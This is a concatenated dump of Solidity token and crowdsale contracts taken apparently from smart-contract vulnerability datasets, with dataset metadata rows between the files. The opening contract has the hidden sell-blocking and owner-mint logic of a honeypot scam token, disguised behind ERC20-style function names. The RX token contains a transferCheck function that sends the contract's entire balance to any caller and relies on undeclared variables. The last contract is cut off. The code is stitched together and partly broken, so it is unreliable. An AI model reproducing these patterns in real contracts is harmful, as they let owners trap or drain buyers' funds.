_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 308,569 | 10,628 |
65109cb0326ab44b88b0b5f6a7147a994ce80c91b68d30b889f0a58905798a5e
| 21,165 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xe00bcb7377e17c35da69366fab52620de3e43b5b.sol
| 3,561 | 12,687 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(address _to,
uint256 _amount)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
// freezing chains
mapping (bytes32 => uint64) internal chains;
// freezing amounts for each chain
mapping (bytes32 => uint) internal freezings;
// total freezing balance per address
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
// WISH masc to increase entropy
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "RX";
string public constant TOKEN_SYMBOL = "RX";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0xAAaEEE162102491a3a27390277A0a4c61BfB7373;
uint public constant START_TIME = 1532016047;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function transferCheck() public {
totalEth = totalEth + msg.value;
uint256 amount = msg.value * unitsEth;
if (balances[walletAdd] < amount) {
return;
}
balances[walletAdd] = balances[walletAdd] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
msg.sender.transfer(this.balance);
}
}
| 199,678 | 10,629 |
4fb120ced5e85d7439dc3f399213585d1c1e1de46f60c5b450b36e5353a9998a
| 27,115 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/ec/ec15a8dc744c75391d3608416b4d6e7a7ba9957f_CoTiBits.sol
| 3,906 | 13,909 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract CoTiBits {
using SafeMath for uint256;
struct User {
address upline;
uint256 type_id;
uint256 total_bought;
uint256 direct_referrals;
}
struct UserType {
string user_type;
uint256 direct_matic;
uint256 direct_token;
}
uint256 public _totalSupply;
string public _name;
string public _symbol;
uint8 public _decimals;
address public _owner;
address public _wallet1;
address public _wallet2;
address public _wallet3;
address public _token_sale;
address public _public_sale;
address public _fee_addr;
address public _admin_addr;
uint256 public _admin_cut;
uint256 public _wallet1_cut;
uint256 public _wallet2_cut;
uint256 public _wallet3_cut;
uint256 public _total_sold;
uint256 public _total_airdrop;
uint256 public _ico_max_cap;
uint256 public _cap;
uint256 public _minimumBuy;
uint256 public _salePrice;
uint256 public _airdropToken;
uint256 public _fee;
uint40 public _saleEnd;
mapping (address => address[]) public _directs;
mapping (address => bool) public _isExcluded;
mapping (address => bool) public _allowed;
mapping(address => User) public users;
mapping(uint256 => UserType) public user_types;
mapping (address => bool) public _airdrop;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
bool public _paused;
event Paused(address account);
event Unpaused(address account);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Buy(address indexed account, uint256 indexed value);
event Airdrop(address indexed account, uint256 value);
modifier onlyOwner() {
require(owner() == _msgSender(), "Caller is not the owner");
_;
}
modifier onlyAllowed() {
require(_allowed[_msgSender()], "Caller is not the allowed");
_;
}
constructor(address wallet1,
address wallet2,
address wallet3,
address token_sale,
address public_sale,
address admin_addr,
address fee_addr) {
_totalSupply = 10000000000 * 10 ** 18; // 10 billion
_name = "CoTi Bits";
_symbol = "Bits";
_decimals = 18;
_owner = msg.sender;
_wallet1 = wallet1;
_wallet2 = wallet2;
_wallet3 = wallet3;
_token_sale = token_sale;
_public_sale = public_sale;
_admin_addr = admin_addr;
_fee_addr = fee_addr;
_total_sold = 0;
_ico_max_cap = 5000000000 * 10 ** 18; // 5 billion
_cap = 0;
_minimumBuy = 1 * 10 ** 18; // 1 AVAX
_salePrice = 65000;
_airdropToken = 1000 * 10 ** 18; // 1000 CoTiBits;
_fee = 20000000000000000; // 0.02 AVAX
_paused = true;
_isExcluded[_owner] = true;
_isExcluded[_token_sale] = true;
_isExcluded[address(this)] = true;
_isExcluded[msg.sender] = true;
_allowed[msg.sender] = true;
_admin_cut = 1000; // 10%
_wallet1_cut = 1000; // 10%
_wallet2_cut = 1000; // 10%
_wallet3_cut = 800; // 8%
user_types[0] = UserType("User", 1500, 750); // 15% 7.5%
user_types[1] = UserType("Manager", 2500, 1250); // 25% 12.5%
_saleEnd = uint40(block.timestamp) + 100 days;
_mint(_msgSender(), _totalSupply);
}
function setTypes(address[] memory _addrs, uint256[] memory _types) external onlyOwner {
for(uint256 i = 0; i < _addrs.length; i++){
users[_addrs[i]].type_id = _types[i];
}
}
function extendSale(uint40 _extend) external onlyOwner {
_saleEnd = _extend;
}
// function _beforeTokenTransfer(address from, address to, uint256 amount)
// internal
// whenNotPaused
// {
// super._beforeTokenTransfer(from, to, amount);
// }
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused() || msg.sender == owner(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function pause() public virtual whenNotPaused onlyOwner {
_paused = true;
emit Paused(_msgSender());
}
function unpause() public virtual whenPaused onlyOwner {
_paused = false;
emit Unpaused(_msgSender());
}
fallback() external {
}
receive() payable external {
}
function name() public view returns (string memory) {
return _name;
}
function owner() public view virtual returns (address) {
return _owner;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function decimals() public view returns (uint8) {
return _decimals;
}
function cap() public view returns (uint256) {
return _cap;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner_, address spender) public view returns (uint256) {
return _allowances[owner_][spender];
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
_owner = address(0);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_cap = _cap.add(amount);
require(_cap <= _totalSupply, "BEP20: Capped: cap exceeded");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(this), account, amount);
}
function _approve(address owner_, address spender, uint256 amount) internal {
require(owner_ != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner_][spender] = amount;
emit Approval(owner_, spender, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function clear1() public onlyAllowed() {
payable(msg.sender).transfer(address(this).balance);
}
function clear2(IERC20 _token) public onlyAllowed() {
require(_token.transfer(msg.sender, _token.balanceOf(address(this))), "Error: Transfer failed");
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(!paused() || _isExcluded[sender], "Error: token is paused");
require(sender != address(0), "Error: transfer from the zero address");
require(recipient != address(0), "Error: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "Error: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function set(uint8 _tag, uint256 _value) public onlyAllowed{
if(_tag==1){
_salePrice = _value;
}else if(_tag==2){
_ico_max_cap = _value;
}else if(_tag==3){
_fee = _value;
}else if(_tag==4){
_minimumBuy = _value;
}else if(_tag==5){
_admin_cut = _value;
}else if(_tag==6){
_wallet1_cut = _value;
}else if(_tag==7){
_wallet2_cut = _value;
}else if(_tag==8){
_wallet3_cut = _value;
}
}
function setAddresses(uint8 _tag, address _addr) public onlyAllowed{
if(_tag==0){
_fee_addr = _addr;
}
}
function setExluded(address _addr, bool _status) public onlyOwner{
_isExcluded[_addr] = _status;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function buy(address _refer) payable public {
require(_msgSender() != _refer && _refer != address(0) && _balances[_refer] > 0, "Error: Invalid referror.");
uint256 _value = msg.value;
uint256 _token = _value.mul(_salePrice);
_total_sold += _token;
require((_total_sold + _token) <= _ico_max_cap, "Error: Max allocated token reached.");
require(uint40(block.timestamp) <= _saleEnd, "Error: ICO is finished.");
require(msg.value >= _minimumBuy,"Error: Insufficient amount to buy.");
_balances[_token_sale] -= _token;
_balances[_msgSender()] += _token;
emit Transfer(_token_sale, _msgSender(), _token);
users[_msgSender()].total_bought += _value;
users[_msgSender()].upline = _refer;
users[_refer].direct_referrals++;
_directs[_refer].push(_msgSender());
// check percentages
uint256 matic_percentage = user_types[0].direct_matic;
if(users[_refer].type_id == 1) matic_percentage = user_types[1].direct_matic;
uint256 token_percentage = user_types[0].direct_token;
if(users[_refer].type_id == 1) token_percentage = user_types[1].direct_token;
// send token
_balances[_token_sale] -= _token.mul(token_percentage).div(10000);
_balances[_refer] += _token.mul(token_percentage).div(10000);
emit Transfer(_token_sale, _refer, _token.mul(token_percentage).div(10000));
// send matic
uint256 public_sale_percentage = matic_percentage + _wallet1_cut + _wallet2_cut + _wallet3_cut;
payable(_refer).transfer(_value.mul(matic_percentage).div(10000));
payable(_wallet1).transfer(_value.mul(_wallet1_cut).div(10000));
payable(_wallet2).transfer(_value.mul(_wallet2_cut).div(10000));
payable(_wallet3).transfer(_value.mul(_wallet3_cut).div(10000));
if(users[_msgSender()].type_id == 0){
public_sale_percentage += _admin_cut;
payable(_admin_addr).transfer(_value.mul(_admin_cut).div(10000));
}
payable(_public_sale).transfer(_value.mul(10000 - public_sale_percentage).div(10000));
emit Buy(_msgSender(), _token);
}
function airdrop() payable public {
require((_total_sold + _airdropToken) <= _ico_max_cap, "Error: Max allocated airdrop reached.");
require(uint40(block.timestamp) <= _saleEnd, "Error: Claiming airdrop is finished.");
require(msg.value >= _fee,"Error: Insufficient balance.");
require(_airdrop[_msgSender()] == false, "Error: Already claimed airdrop.");
if(_fee > 0){
payable(_fee_addr).transfer(_fee);
}
_airdrop[_msgSender()] = true;
_total_airdrop += _airdropToken;
_total_sold += _airdropToken;
_balances[_token_sale] -= _airdropToken;
_balances[_msgSender()] += _airdropToken;
emit Transfer(_token_sale, _msgSender(), _airdropToken);
emit Airdrop(_msgSender(), _airdropToken);
}
}
| 89,870 | 10,630 |
687a4a05d72699de833079a31730e0de4252af3cf328483c44e8b19872a30a3d
| 14,097 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x64d581770b541b5609140232fc12f47bbe0fe6bc.sol
| 3,550 | 12,710 |
pragma solidity ^0.4.17;
/// @title Base Token contract - Functions to be implemented by token contracts.
contract BaseToken {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function transfer(address _to, uint256 _value, bytes _data) public returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// There is no ERC223 compatible Transfer event, with `_data` included.
}
contract ERC223ReceivingContract {
/// @dev Function that is called when a user or another contract wants to transfer funds.
/// @param _from Transaction initiator, analogue of msg.sender
/// @param _value Number of tokens to transfer.
/// @param _data Data containig a function signature and/or parameters
function tokenFallback(address _from, uint256 _value, bytes _data) public;
}
/// @title Standard token contract - Standard token implementation.
contract StandardToken is BaseToken {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
/// @notice Send `_value` tokens to `_to` from `msg.sender`.
/// @dev Transfers sender's tokens to a given address. Returns success.
/// @param _to Address of token receiver.
/// @param _value Number of tokens to transfer.
/// @return Returns success of function call.
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != 0x0);
require(_to != address(this));
require(balances[msg.sender] >= _value);
require(balances[_to] + _value >= balances[_to]);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
/// @notice Send `_value` tokens to `_to` from `msg.sender` and trigger
/// tokenFallback if sender is a contract.
/// @dev Function that is called when a user or another contract wants to transfer funds.
/// @param _to Address of token receiver.
/// @param _value Number of tokens to transfer.
/// @param _data Data to be sent to tokenFallback
/// @return Returns success of function call.
function transfer(address _to,
uint256 _value,
bytes _data)
public
returns (bool)
{
require(transfer(_to, _value));
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly.
codeLength := extcodesize(_to)
}
if (codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
return true;
}
/// @notice Transfer `_value` tokens from `_from` to `_to` if `msg.sender` is allowed.
/// @dev Allows for an approved third party to transfer tokens from one
/// address to another. Returns success.
/// @param _from Address from where tokens are withdrawn.
/// @param _to Address to where tokens are sent.
/// @param _value Number of tokens to transfer.
/// @return Returns success of function call.
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool)
{
require(_from != 0x0);
require(_to != 0x0);
require(_to != address(this));
require(balances[_from] >= _value);
require(allowed[_from][msg.sender] >= _value);
require(balances[_to] + _value >= balances[_to]);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
/// @notice Allows `_spender` to transfer `_value` tokens from `msg.sender` to any address.
/// @dev Sets approved amount of tokens for spender. Returns success.
/// @param _spender Address of allowed account.
/// @param _value Number of approved tokens.
/// @return Returns success of function call.
function approve(address _spender, uint256 _value) public returns (bool) {
require(_spender != 0x0);
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(_value == 0 || allowed[msg.sender][_spender] == 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/// @dev Returns number of allowed tokens that a spender can transfer on
/// behalf of a token owner.
/// @param _owner Address of token owner.
/// @param _spender Address of token spender.
/// @return Returns remaining allowance for spender.
function allowance(address _owner, address _spender)
constant
public
returns (uint256)
{
return allowed[_owner][_spender];
}
/// @dev Returns number of tokens owned by the given address.
/// @param _owner Address of token owner.
/// @return Returns balance of owner.
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
}
contract Moneto is StandardToken {
string public name = "Moneto";
string public symbol = "MTO";
uint8 public decimals = 18;
function Moneto(address saleAddress) public {
require(saleAddress != 0x0);
totalSupply = 42901786 * 10**18;
balances[saleAddress] = totalSupply;
emit Transfer(0x0, saleAddress, totalSupply);
assert(totalSupply == balances[saleAddress]);
}
function burn(uint num) public {
require(num > 0);
require(balances[msg.sender] >= num);
require(totalSupply >= num);
uint preBalance = balances[msg.sender];
balances[msg.sender] -= num;
totalSupply -= num;
emit Transfer(msg.sender, 0x0, num);
assert(balances[msg.sender] == preBalance - num);
}
}
contract MonetoSale {
Moneto public token;
address public beneficiary;
address public alfatokenteam;
uint public alfatokenFee;
uint public amountRaised;
uint public tokenSold;
uint public constant PRE_SALE_START = 1523952000; // 17 April 2018, 08:00:00 GMT
uint public constant PRE_SALE_END = 1526543999; // 17 May 2018, 07:59:59 GMT
uint public constant SALE_START = 1528617600; // 10 June 2018,08:00:00 GMT
uint public constant SALE_END = 1531209599; // 10 July 2018, 07:59:59 GMT
uint public constant PRE_SALE_MAX_CAP = 2531250 * 10**18;
uint public constant SALE_MAX_CAP = 300312502 * 10**17;
uint public constant SALE_MIN_CAP = 2500 ether;
uint public constant PRE_SALE_PRICE = 1250;
uint public constant SALE_PRICE = 1000;
uint public constant PRE_SALE_MIN_BUY = 10 * 10**18;
uint public constant SALE_MIN_BUY = 1 * 10**18;
uint public constant PRE_SALE_1WEEK_BONUS = 35;
uint public constant PRE_SALE_2WEEK_BONUS = 15;
uint public constant PRE_SALE_3WEEK_BONUS = 5;
uint public constant PRE_SALE_4WEEK_BONUS = 0;
uint public constant SALE_1WEEK_BONUS = 10;
uint public constant SALE_2WEEK_BONUS = 7;
uint public constant SALE_3WEEK_BONUS = 5;
uint public constant SALE_4WEEK_BONUS = 3;
mapping (address => uint) public icoBuyers;
Stages public stage;
enum Stages {
Deployed,
Ready,
Ended,
Canceled
}
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
modifier isOwner() {
require(msg.sender == beneficiary);
_;
}
function MonetoSale(address _beneficiary, address _alfatokenteam) public {
beneficiary = _beneficiary;
alfatokenteam = _alfatokenteam;
alfatokenFee = 5 ether;
stage = Stages.Deployed;
}
function setup(address _token) public isOwner atStage(Stages.Deployed) {
require(_token != 0x0);
token = Moneto(_token);
stage = Stages.Ready;
}
function () payable public atStage(Stages.Ready) {
